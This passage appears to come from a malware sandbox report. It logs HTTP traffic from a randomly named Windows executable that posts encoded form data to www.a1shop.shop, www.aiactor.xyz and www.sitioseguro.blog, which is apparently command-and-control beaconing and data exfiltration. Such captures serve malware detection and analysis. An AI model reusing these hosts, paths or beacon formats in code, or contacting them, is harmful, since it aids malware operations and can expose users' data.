6f 75 65 56 5a 73 4b 64 2b 6a 4f 56 79 31 50 35 6f 41 63 68 4c 4e 77 34 52 72 34 59 5a 31 68 30 33 46 51 44 2f 49 6c 44 32 75 4a 61 32 4d 36 54 68 38 61 77 58 30 72 49 41 71 63 79 4f 4f 64 55 41 3d 3d Data Ascii: GR54yHZ8=4AenQeI0YV+krpmoxU6xgvPPi/AWmKYbZHdy2/zeKZo+gpt3P6WHynt4zFj/riYt6usjAO9sEIGwJvM8fywnxY2dgv2AJAnAmbROYUOIlfWtAa0byWwCrSFBpH4aEjmh44i1wk5cvuMO6BilMfzoxzZolEI6DJ0hhoueVZsKd+jOVy1P5oAchLNw4Rr4YZ1h03FQD/IlD2uJa2M6Th8awX0rIAqcyOOdUA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50033	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:26.276673079 CET	1844	OUT	POST /0krx/ HTTP/1.1 Host: www.a1shop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.a1shop.shop Referer: http://www.a1shop.shop/0krx/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 34 41 65 6e 51 65 49 30 59 56 2b 6b 72 70 6d 6f 78 55 36 78 67 76 50 50 69 2f 41 57 6d 4b 59 62 5a 48 64 79 32 2f 7a 65 4b 5a 67 2b 38 50 78 33 4f 64 43 48 7a 6e 74 34 2b 6c 6a 36 72 69 5a 33 36 75 6b 6e 41 4f 78 38 45 4c 75 77 4c 4e 30 38 49 54 77 6e 6f 6f 32 64 69 76 32 42 45 67 6e 4a 6d 62 42 4b 59 55 65 49 6c 66 57 74 41 59 73 62 32 44 45 43 70 53 45 7a 71 48 34 4f 56 7a 6d 46 34 38 32 6c 77 6b 31 4d 76 64 45 4f 36 6c 4f 6c 4f 4a 48 6f 79 54 5a 32 6d 45 4a 36 44 4a 34 41 68 73 47 38 56 5a 77 67 64 35 4c 4f 56 55 38 59 71 4b 6f 74 69 6f 78 67 6f 77 33 52 57 2b 49 57 73 78 5a 4a 4b 4f 6f 54 4b 33 43 69 55 42 63 63 47 67 42 75 78 33 38 57 55 48 4c 50 6e 66 6a 69 4a 4f 37 2b 36 55 7a 7a 54 36 34 4e 65 4a 30 62 64 78 59 48 44 59 52 33 49 6c 42 77 73 66 57 6f 45 2f 6b 56 4c 54 69 53 4e 53 61 65 4c 44 64 45 4f 61 47 55 43 56 36 62 50 58 53 65 61 64 49 66 4f 68 34 53 56 37 36 71 5a 62 41 6a 4e 62 4e 2b 36 58 33 77 2f 6e 58 71 65 61 2b 74 6f 38 53 65 30 52 52 6a 74 71 35 2f 58 [TRUNCATED] Data Ascii: GR54yHZ8=4AenQeI0YV+krpmoxU6xgvPPi/AWmKYbZHdy2/zeKZg+8Px3OdCHznt4+lj6riZ36uknAOx8ELuwLN08ITwnoo2div2BEgnJmbBKYUeIlfWtAYsb2DECpSEzqH4OVzmF482lwk1MvdEO6lOlOJHoyTZ2mEJ6DJ4AhsG8VZwgd5LOVU8YqKotioxgow3RW+IWsxZJKOoTK3CiUBccGgBux38WUHLPnfjiJO7+6UzzT64NeJ0bdxYHDYR3IlBwsfWoE/kVLTiSNSaeLDdEOaGUCV6bPXSeadIfOh4SV76qZbAjNbN+6X3w/nXqea+to8Se0RRjtq5/XKm1sAzoLJrWJcLMWZ/4b+McgDiCtJSKO2e73cpHSD+f4tyZWNRHJ3CD02bLgEi87pfw+cpmV/hV1CqlhEnA0VOe1yQtdAMU3/xv4uJ6gKHxmmodITvdUcvvo/O7E3KyhxKSY//fSyN9uMyyq6+aMin9nHmIGlq6badzAfk1jDp9N4pEz5cHFdhjiVzI6Tfdvr9vwEZWWIaMN5iImmDTWEar/6FSKpGmqMUoaMZYG+jSvn0i9wH3yor3grGJ/fxJENedFTAhQewPsKEPUS2GUPiDO0iwxSAWAqJQCKa6h3dvDXAtCA1B0kHI+2+tANhqMQo36lqqhYj/T2e0L8Sorp94VSGZEUTRxW2mmghyjV32nOXkgLkb2RboBA4x52NXRvO298+3nIa41hnQ6hePmDa0OyFtAEvxHxmcSlbUlHx2iQBLM7gIjq4VwJvJO9SQfnKuhhvhfOapnAvVELIDcLcCCAoacyS0Nbzsqqj7GLHY7CZW7kYqNick6OjTe05CQBQjTS6FHOoM0bDXgbn/bTA6tsdfNAGE6LDtgIL3CnvDcgOjOfDYFnuQ51bZ5ATw3oZLRNsO9iFgKIW7fpjUdpmjkaayoqgmeFWYfthnkm2yk9yqZ2IO7EmNfFoRigEcts1/OpCuQ2QckX6Xs4AXikgUnrXlBJN0818 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50034	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:28.879338980 CET	553	OUT	GET /0krx/?GR54yHZ8=1C2HTrEVNWyxr52SoGOxlLLcvsNBoexmdy9Nu7HdX9lR7swAMLn31GhWzX/WtioZiLgkIr1TIYTpQv4lfQ4TwNnfiM63cxzeqfNeG1D29tziIpAE2Hdr0kt8oEMtEF+W9rbw3UA=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.a1shop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:34:29.347915888 CET	417	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Nov 2024 07:34:29 GMT Content-Type: text/html Content-Length: 277 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 52 35 34 79 48 5a 38 3d 31 43 32 48 54 72 45 56 4e 57 79 78 72 35 32 53 6f 47 4f 78 6c 4c 4c 63 76 73 4e 42 6f 65 78 6d 64 79 39 4e 75 37 48 64 58 39 6c 52 37 73 77 41 4d 4c 6e 33 31 47 68 57 7a 58 2f 57 74 69 6f 5a 69 4c 67 6b 49 72 31 54 49 59 54 70 51 76 34 6c 66 51 34 54 77 4e 6e 66 69 4d 36 33 63 78 7a 65 71 66 4e 65 47 31 44 32 39 74 7a 69 49 70 41 45 32 48 64 72 30 6b 74 38 6f 45 4d 74 45 46 2b 57 39 72 62 77 33 55 41 3d 26 39 78 6e 3d 66 48 61 64 4e 70 6b 38 4d 56 61 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GR54yHZ8=1C2HTrEVNWyxr52SoGOxlLLcvsNBoexmdy9Nu7HdX9lR7swAMLn31GhWzX/WtioZiLgkIr1TIYTpQv4lfQ4TwNnfiM63cxzeqfNeG1D29tziIpAE2Hdr0kt8oEMtEF+W9rbw3UA=&9xn=fHadNpk8MVax"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50035	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:34.441217899 CET	807	OUT	POST /g2y0/ HTTP/1.1 Host: www.aiactor.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.aiactor.xyz Referer: http://www.aiactor.xyz/g2y0/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 31 4c 65 35 74 6f 69 6d 31 6b 44 31 42 57 48 41 76 55 6d 51 30 43 67 4c 33 52 78 39 42 66 77 64 41 49 79 44 69 36 6a 73 49 6b 59 2f 4c 6a 31 75 51 52 54 32 76 6a 65 4a 4f 6f 44 64 6c 4b 52 5a 49 4a 55 73 43 52 4e 53 6c 52 44 76 4c 4f 76 54 71 77 6a 48 48 7a 35 2f 47 74 76 32 4c 5a 68 2b 53 63 35 42 51 42 62 5a 6e 4f 69 4d 32 66 2b 75 49 64 67 59 31 52 64 71 30 33 32 31 53 4a 62 53 55 66 35 43 4f 59 45 38 69 75 49 4b 46 37 4c 58 31 65 54 57 52 58 5a 6d 72 36 37 42 62 39 2f 4f 71 43 72 48 64 78 56 42 43 47 6e 67 78 36 58 5a 68 45 36 57 6e 6e 4a 7a 76 59 31 76 2b 34 43 57 78 48 67 30 68 46 30 4a 2f 73 6c 46 Data Ascii: GR54yHZ8=1Le5toim1kD1BWHAvUmQ0CgL3Rx9BfwdAIyDi6jsIkY/Lj1uQRT2vjeJOoDdlKRZIJUsCRNSlRDvLOvTqwjHHz5/Gtv2LZh+Sc5BQBbZnOiM2f+uIdgY1Rdq0321SJbSUf5COYE8iuIKF7LX1eTWRXZmr67Bb9/OqCrHdxVBCGngx6XZhE6WnnJzvY1v+4CWxHg0hF0J/slF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50036	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:36.993566990 CET	831	OUT	POST /g2y0/ HTTP/1.1 Host: www.aiactor.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.aiactor.xyz Referer: http://www.aiactor.xyz/g2y0/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 31 4c 65 35 74 6f 69 6d 31 6b 44 31 43 32 58 41 74 33 2b 51 6c 53 67 49 72 42 78 39 49 2f 77 52 41 49 2b 44 69 37 57 78 4c 58 38 2f 4b 42 74 75 52 54 37 32 6f 6a 65 4a 46 49 44 45 71 71 51 62 49 4a 49 4b 43 54 5a 53 6c 52 58 76 4c 4c 44 54 72 48 33 49 46 6a 35 35 66 64 76 30 57 4a 68 2b 53 63 35 42 51 41 2f 7a 6e 4b 4f 4d 71 2f 4f 75 4f 34 4d 58 30 52 64 72 31 33 32 31 44 35 62 57 55 66 34 6e 4f 5a 59 47 69 74 67 4b 46 36 37 58 31 71 6e 56 49 6e 5a 67 76 36 36 74 4c 66 79 5a 69 52 62 44 58 54 64 46 57 31 7a 39 77 4d 4b 44 39 33 36 31 31 33 70 78 76 61 74 64 2b 59 43 38 7a 48 59 30 7a 53 34 75 77 59 41 6d 70 43 44 49 33 34 41 79 79 55 57 61 49 2f 63 59 75 52 52 32 30 41 3d 3d Data Ascii: GR54yHZ8=1Le5toim1kD1C2XAt3+QlSgIrBx9I/wRAI+Di7WxLX8/KBtuRT72ojeJFIDEqqQbIJIKCTZSlRXvLLDTrH3IFj55fdv0WJh+Sc5BQA/znKOMq/OuO4MX0Rdr1321D5bWUf4nOZYGitgKF67X1qnVInZgv66tLfyZiRbDXTdFW1z9wMKD936113pxvatd+YC8zHY0zS4uwYAmpCDI34AyyUWaI/cYuRR20A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50037	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:39.543355942 CET	1844	OUT	POST /g2y0/ HTTP/1.1 Host: www.aiactor.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.aiactor.xyz Referer: http://www.aiactor.xyz/g2y0/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 31 4c 65 35 74 6f 69 6d 31 6b 44 31 43 32 58 41 74 33 2b 51 6c 53 67 49 72 42 78 39 49 2f 77 52 41 49 2b 44 69 37 57 78 4c 58 30 2f 4b 79 6c 75 54 30 6e 32 70 6a 65 4a 47 49 44 42 71 71 51 61 49 4a 41 4f 43 54 46 6b 6c 53 76 76 61 64 58 54 69 54 62 49 50 6a 35 35 58 39 76 31 4c 5a 67 38 53 63 70 64 51 42 50 7a 6e 4b 4f 4d 71 38 57 75 4e 74 67 58 35 78 64 71 30 33 32 44 53 4a 61 78 55 66 67 52 4f 59 74 37 69 63 41 4b 45 61 72 58 79 4a 50 56 58 58 5a 69 68 61 36 31 4c 66 2f 65 69 52 47 34 58 53 70 6a 57 33 76 39 38 70 33 70 67 54 79 4e 71 45 74 52 2b 4b 30 37 33 59 43 63 79 45 4d 49 77 55 6f 66 76 71 34 35 6d 6d 4c 7a 69 4f 39 54 38 56 69 74 42 4c 41 47 36 45 74 7a 75 55 48 59 33 44 62 73 47 51 6e 69 46 5a 5a 74 56 51 35 6c 73 4e 46 6f 36 52 63 4e 2b 4f 4a 34 79 49 6f 43 54 46 52 4a 66 76 6a 59 72 6d 76 49 47 2f 70 4e 30 38 41 34 56 4a 39 75 68 4d 70 2b 52 70 38 53 72 4e 6b 79 4d 67 37 4e 4a 6f 49 30 38 68 66 59 54 6a 6f 47 32 63 46 56 45 6d 31 38 56 45 51 4a 4e 6a 4d 2f 52 [TRUNCATED] Data Ascii: GR54yHZ8=1Le5toim1kD1C2XAt3+QlSgIrBx9I/wRAI+Di7WxLX0/KyluT0n2pjeJGIDBqqQaIJAOCTFklSvvadXTiTbIPj55X9v1LZg8ScpdQBPznKOMq8WuNtgX5xdq032DSJaxUfgROYt7icAKEarXyJPVXXZiha61Lf/eiRG4XSpjW3v98p3pgTyNqEtR+K073YCcyEMIwUofvq45mmLziO9T8VitBLAG6EtzuUHY3DbsGQniFZZtVQ5lsNFo6RcN+OJ4yIoCTFRJfvjYrmvIG/pN08A4VJ9uhMp+Rp8SrNkyMg7NJoI08hfYTjoG2cFVEm18VEQJNjM/RJ3vk9Z84dn3ffs9R/+dLgyEYP+HlMiHDiAxiEyxro0qvdgoaD563O5c/INeq0/jBYzQ9DeJbXV3N2VBWctctDGWmCd+L9dsL42Hv80SfVWMsk4L6pXkA8x9CsaDpJ1DapaarbVs+mDKcGTUhDSaKHQjd+Qu3e/My1IgrrhJhugIoZH5RLv5Tne47ZKGkQA1RTHzaY0QU13wYaynpTmAHdH6x6XjOlCG7n1QVZiMf6KnM4fOqnhn1okqYGjq22gL6BPFWMujd7HJXhRq1uOJ1Q8GmRff0bUOY9FW8m3K5Jkrqx+9Y6NRIBVQ4pBQrTydz1elL3rsOFl5uPQ31O4SZLihnD9C/aTGzGehZqa6Vm6DGtXCUct1q0xMpIh6tPoJK68ux+61U1UDoQIXcuJ/iETqYY2Kq6x3IWc3PrbJZRBpPElwBGZJPVcc18Me1olseUSNSvicMNbMMIkABgT4F76fbMYMCrEQxyXSxSjppJ0tBFSJW/8RAVZtFA8Eo2JO0jS9+sGYgZvyBpP4EAlPYPJlcE2K0YgfbPuafd5UpTa0BDEkBFb8UHkT16ZnNl7ywWaVHAbN/ULId3qu7ZTwoqe/GY7dFce/wmBsiqJCbF+M3T2dNvZJv29lnAxCGSfoBYXLs0D3z2ZXdzyMI5lummTE/FXgyUJEOSU [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50038	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:42.081414938 CET	553	OUT	GET /g2y0/?GR54yHZ8=4J2ZucS0gmHveCLTumStwhEohSgzPPJ4W7Cx1bvPckMEbjsLQyn2mnrwN7XguYk0KfYRNkJmpBfqbfzPpDbCYGkLQdnxWLNNRJRrSDnZ+4vw6seRBsYWgxI51lS2SbfnTvxGN+Y=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.aiactor.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:34:42.532031059 CET	417	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Nov 2024 07:34:42 GMT Content-Type: text/html Content-Length: 277 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 52 35 34 79 48 5a 38 3d 34 4a 32 5a 75 63 53 30 67 6d 48 76 65 43 4c 54 75 6d 53 74 77 68 45 6f 68 53 67 7a 50 50 4a 34 57 37 43 78 31 62 76 50 63 6b 4d 45 62 6a 73 4c 51 79 6e 32 6d 6e 72 77 4e 37 58 67 75 59 6b 30 4b 66 59 52 4e 6b 4a 6d 70 42 66 71 62 66 7a 50 70 44 62 43 59 47 6b 4c 51 64 6e 78 57 4c 4e 4e 52 4a 52 72 53 44 6e 5a 2b 34 76 77 36 73 65 52 42 73 59 57 67 78 49 35 31 6c 53 32 53 62 66 6e 54 76 78 47 4e 2b 59 3d 26 39 78 6e 3d 66 48 61 64 4e 70 6b 38 4d 56 61 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GR54yHZ8=4J2ZucS0gmHveCLTumStwhEohSgzPPJ4W7Cx1bvPckMEbjsLQyn2mnrwN7XguYk0KfYRNkJmpBfqbfzPpDbCYGkLQdnxWLNNRJRrSDnZ+4vw6seRBsYWgxI51lS2SbfnTvxGN+Y=&9xn=fHadNpk8MVax"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50039	172.67.162.39	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:47.619359970 CET	822	OUT	POST /arvb/ HTTP/1.1 Host: www.sitioseguro.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.sitioseguro.blog Referer: http://www.sitioseguro.blog/arvb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 55 44 34 77 70 47 50 4f 65 4f 4b 4c 50 36 34 74 45 78 71 61 54 30 54 7a 69 36 38 4d 2b 64 57 63 58 65 5a 72 31 74 4b 34 33 31 68 6d 4a 74 61 78 47 6d 6a 63 4e 38 75 6d 6c 66 42 37 30 2f 78 77 4a 58 49 57 35 6d 36 70 6a 79 68 33 73 53 6b 48 51 5a 41 57 71 4e 46 4f 61 4d 71 4b 72 77 59 65 50 6c 75 73 70 78 4a 53 32 6e 4d 72 46 42 70 45 72 6e 7a 6c 43 73 6c 35 78 32 77 42 78 42 57 43 52 62 44 35 68 75 77 47 63 57 47 74 34 74 71 44 6e 70 6b 39 59 49 55 59 51 55 72 58 78 67 6f 37 62 69 51 7a 44 6f 79 72 6f 6a 57 61 48 35 64 34 71 5a 76 75 4f 45 33 58 76 48 73 4c 47 56 76 61 62 73 79 35 74 41 2f 4a 31 50 32 5a Data Ascii: GR54yHZ8=UD4wpGPOeOKLP64tExqaT0Tzi68M+dWcXeZr1tK431hmJtaxGmjcN8umlfB70/xwJXIW5m6pjyh3sSkHQZAWqNFOaMqKrwYePluspxJS2nMrFBpErnzlCsl5x2wBxBWCRbD5huwGcWGt4tqDnpk9YIUYQUrXxgo7biQzDoyrojWaH5d4qZvuOE3XvHsLGVvabsy5tA/J1P2Z
Nov 20, 2024 08:34:48.132668018 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Wed, 20 Nov 2024 07:34:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDguE102mRMaAUZbJiD2y9jJIfLAcnGhF0AB6BxL%2FNvnD7SLNEjmLk38XlTqsdMD3LQD4v%2FgpogAiSvlA9dzQbLH5ByMKX6ZFpOgvGVN9rWAXxq4jxt8%2BxgTErRWUZedr9ow9UskXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c27608077c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2049&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=822&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly
Nov 20, 2024 08:34:48.132721901 CET	90	IN	Data Raw: 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Data Ascii: error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50040	172.67.162.39	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:50.204757929 CET	846	OUT	POST /arvb/ HTTP/1.1 Host: www.sitioseguro.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.sitioseguro.blog Referer: http://www.sitioseguro.blog/arvb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 55 44 34 77 70 47 50 4f 65 4f 4b 4c 4f 66 6f 74 47 51 71 61 56 55 54 73 74 61 38 4d 6b 74 57 59 58 65 46 72 31 6f 7a 39 33 6e 56 6d 4a 50 79 78 48 6a 50 63 4d 38 75 6d 74 2f 42 36 37 66 78 76 4a 57 30 67 35 6b 2b 70 6a 79 31 33 73 51 4d 48 51 75 73 52 72 64 45 6f 54 73 71 45 6b 51 59 65 50 6c 75 73 70 78 63 33 32 6e 30 72 46 78 35 45 72 46 62 71 42 73 6c 36 6d 47 77 42 6e 78 57 47 52 62 44 62 68 73 46 6a 63 51 4b 74 34 70 75 44 6e 59 6b 2b 53 49 55 61 66 30 71 61 34 51 35 2b 58 67 56 78 4a 65 65 55 6f 69 47 35 50 76 41 69 32 71 76 4e 63 55 58 56 76 46 30 35 47 31 76 77 5a 73 4b 35 2f 58 7a 75 36 37 54 36 6b 31 50 69 4f 4f 6d 58 43 4a 41 57 57 47 34 34 4e 33 55 32 46 41 3d 3d Data Ascii: GR54yHZ8=UD4wpGPOeOKLOfotGQqaVUTsta8MktWYXeFr1oz93nVmJPyxHjPcM8umt/B67fxvJW0g5k+pjy13sQMHQusRrdEoTsqEkQYePluspxc32n0rFx5ErFbqBsl6mGwBnxWGRbDbhsFjcQKt4puDnYk+SIUaf0qa4Q5+XgVxJeeUoiG5PvAi2qvNcUXVvF05G1vwZsK5/Xzu67T6k1PiOOmXCJAWWG44N3U2FA==
